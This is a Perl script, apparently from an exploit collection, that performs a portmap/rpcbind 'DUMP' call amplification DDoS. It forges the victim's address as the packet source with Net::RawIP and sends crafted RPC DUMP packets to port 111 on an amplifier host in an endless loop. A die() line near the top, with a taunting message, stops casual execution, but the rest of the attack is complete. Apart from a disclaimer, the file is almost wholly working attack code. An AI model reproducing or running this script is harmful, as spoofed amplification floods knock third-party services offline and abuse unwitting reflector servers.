#!/usr/bin/perl
#
#
#  rpcinfo Portmap 'DUMP' call amplification ddos
#
#  Copyright 2017 (c) Todor Donev 
#  todor.donev@gmail.com
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#
#  Disclaimer:
#  This or previous program is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#
#  Use at your own risk and educational 
#  purpose ONLY!
#
#  See also, UDP-based Amplification Attacks:
#  https://www.us-cert.gov/ncas/alerts/TA14-017A
#
#
#
use Net::RawIP;

my $target = "$ARGV[0]";
my $rpcamp = "$ARGV[1]";
die("r34d 7h3 c0d3 m0r0n\n");
my $rpcinfo      = pack ("H8", int(rand(0x10000000)))."\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00";
   $rpcinfo     .= "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

print "[ rpcinfo Portmap 'DUMP' call amplification ddos\n";
print "[ === \n";
print "[ Copyright 2017 (c) Todor Donev\n";
print "[ todor.donev\@gmail.com\n";
print "[ https://www.ethical-hacker.org/\n";
print "[ https://www.facebook.com/ethicalhackerorg\n";


my $sock = new Net::RawIP({ udp => {} });
while () {
select(undef, undef, undef, 0.30);
my $randsport = int(rand(65535));
$sock->set({  ip => {  saddr => $target, daddr => $rpcamp},
                             udp => { source => $randsport,   dest => 111, data => $rpcinfo} });
$sock->send;
}